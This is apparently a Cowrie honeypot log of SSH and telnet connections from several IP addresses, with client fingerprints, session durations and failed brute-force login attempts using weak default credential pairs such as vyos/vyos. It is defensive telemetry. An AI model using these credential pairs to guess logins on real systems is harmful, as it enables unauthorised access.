{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:54.190741Z","src_ip":"103.189.235.176","session":"ba1935853f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.614041805267334,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:54.594347Z","src_ip":"65.60.27.33","session":"dc883350986c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46614,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04bb743f270","protocol":"telnet","message":"New connection: 65.60.27.33:46614 (10.17.0.5:23) [session: f04bb743f270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:55.063039Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:55.262545Z","src_ip":"176.65.132.254","session":"7a6128a639ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.5844213962554932,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:55.604016Z","src_ip":"134.209.8.29","session":"180cc7bbafa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3ef49de6633","protocol":"telnet","message":"New connection: 62.210.97.77:60764 (10.17.0.5:23) [session: e3ef49de6633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:57.185629Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60772,"dst_ip":"10.17.0.5","dst_port":23,"session":"72eaaf154f7c","protocol":"telnet","message":"New connection: 62.210.97.77:60772 (10.17.0.5:23) [session: 72eaaf154f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:57.753633Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58268,"dst_ip":"10.17.0.5","dst_port":22,"session":"1754cbc38a26","protocol":"ssh","message":"New connection: 176.65.132.254:58268 (10.17.0.5:22) [session: 1754cbc38a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:57.835841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:57.842930Z","src_ip":"176.65.132.254","session":"1754cbc38a26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:57.942978Z","src_ip":"176.65.132.254","session":"1754cbc38a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:58.219317Z","src_ip":"176.65.132.254","session":"1754cbc38a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60782,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ac3fa9e50e","protocol":"telnet","message":"New connection: 62.210.97.77:60782 (10.17.0.5:23) [session: f6ac3fa9e50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:58.381667Z"}
{"eventid":"cowrie.session.closed","duration":34.7775194644928,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:59.010573Z","src_ip":"62.210.97.77","session":"53b5021a4292","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:59.344366Z","src_ip":"176.65.132.254","session":"1754cbc38a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.45290184020996,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:59.482781Z","src_ip":"134.209.8.29","session":"f394aa473a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.526241779327393,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:00.589152Z","src_ip":"65.60.27.33","session":"f04bb743f270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48740,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c44c1edcec8","protocol":"telnet","message":"New connection: 62.210.97.77:48740 (10.17.0.5:23) [session: 0c44c1edcec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:01.882667Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56300,"dst_ip":"10.17.0.5","dst_port":22,"session":"781beb358878","protocol":"ssh","message":"New connection: 176.65.132.254:56300 (10.17.0.5:22) [session: 781beb358878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:02.144680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:02.150804Z","src_ip":"176.65.132.254","session":"781beb358878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:02.240492Z","src_ip":"176.65.132.254","session":"781beb358878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:02.491400Z","src_ip":"176.65.132.254","session":"781beb358878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48742,"dst_ip":"10.17.0.5","dst_port":23,"session":"120d0e2260c8","protocol":"telnet","message":"New connection: 62.210.97.77:48742 (10.17.0.5:23) [session: 120d0e2260c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:03.030978Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48754,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc2b1c3dcd7","protocol":"telnet","message":"New connection: 62.210.97.77:48754 (10.17.0.5:23) [session: ebc2b1c3dcd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:03.214346Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:03.600065Z","src_ip":"176.65.132.254","session":"781beb358878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48760,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac24b9e2f50","protocol":"telnet","message":"New connection: 62.210.97.77:48760 (10.17.0.5:23) [session: aac24b9e2f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:03.605476Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53136,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee80224c171","protocol":"telnet","message":"New connection: 134.209.8.29:53136 (159.203.135.109:23) [session: 7ee80224c171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:04.703595Z"}
{"eventid":"cowrie.session.closed","duration":44.13575339317322,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:05.281008Z","src_ip":"65.60.27.33","session":"4cc575fdc5ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":33600,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b12ab382c16","protocol":"ssh","message":"New connection: 152.32.189.59:33600 (159.203.135.109:22) [session: 4b12ab382c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:05.355819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:05.365528Z","src_ip":"152.32.189.59","session":"4b12ab382c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60116,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cfd5dbbdb57","protocol":"telnet","message":"New connection: 38.54.119.93:60116 (10.17.0.5:23) [session: 0cfd5dbbdb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:05.391248Z"}
{"eventid":"cowrie.session.closed","duration":37.16706705093384,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:05.402065Z","src_ip":"62.210.97.77","session":"256775d37d0f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:05.685224Z","src_ip":"152.32.189.59","session":"4b12ab382c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56316,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c405d4b3d4c","protocol":"ssh","message":"New connection: 176.65.132.254:56316 (10.17.0.5:22) [session: 4c405d4b3d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:06.279334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:06.284767Z","src_ip":"176.65.132.254","session":"4c405d4b3d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:06.367485Z","src_ip":"176.65.132.254","session":"4c405d4b3d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser@1234","message":"login attempt [devuser/devuser@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:06.542107Z","src_ip":"152.32.189.59","session":"4b12ab382c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:06.620311Z","src_ip":"176.65.132.254","session":"4c405d4b3d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:07.712076Z","src_ip":"176.65.132.254","session":"4c405d4b3d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:07.761012Z","src_ip":"152.32.189.59","session":"4b12ab382c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56330,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f1b4eacb44","protocol":"ssh","message":"New connection: 176.65.132.254:56330 (10.17.0.5:22) [session: 13f1b4eacb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:10.070662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:10.075532Z","src_ip":"176.65.132.254","session":"13f1b4eacb44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:10.165699Z","src_ip":"176.65.132.254","session":"13f1b4eacb44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:10.839336Z","src_ip":"176.65.132.254","session":"13f1b4eacb44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46204,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1aeb426d329","protocol":"telnet","message":"New connection: 62.210.97.77:46204 (10.17.0.5:23) [session: f1aeb426d329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:11.232528Z"}
{"eventid":"cowrie.session.closed","duration":37.213590145111084,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:11.501216Z","src_ip":"62.210.97.77","session":"45f1d64e07e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:11.947158Z","src_ip":"176.65.132.254","session":"13f1b4eacb44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.7067654132843,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:12.054016Z","src_ip":"62.210.97.77","session":"3fc289b891b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8aaddd2ac32","protocol":"telnet","message":"New connection: 62.210.97.77:46214 (10.17.0.5:23) [session: b8aaddd2ac32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:13.224246Z"}
{"eventid":"cowrie.session.closed","duration":41.41624140739441,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:13.540205Z","src_ip":"134.209.8.29","session":"32cd0e61069f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55406,"dst_ip":"10.17.0.5","dst_port":22,"session":"476bbba5a74e","protocol":"ssh","message":"New connection: 176.65.132.254:55406 (10.17.0.5:22) [session: 476bbba5a74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:14.235604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:14.240546Z","src_ip":"176.65.132.254","session":"476bbba5a74e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:14.337548Z","src_ip":"176.65.132.254","session":"476bbba5a74e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"67dfcd178049","protocol":"telnet","message":"New connection: 62.210.97.77:46228 (10.17.0.5:23) [session: 67dfcd178049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:14.370184Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:14.618719Z","src_ip":"176.65.132.254","session":"476bbba5a74e","protocol":"ssh"}
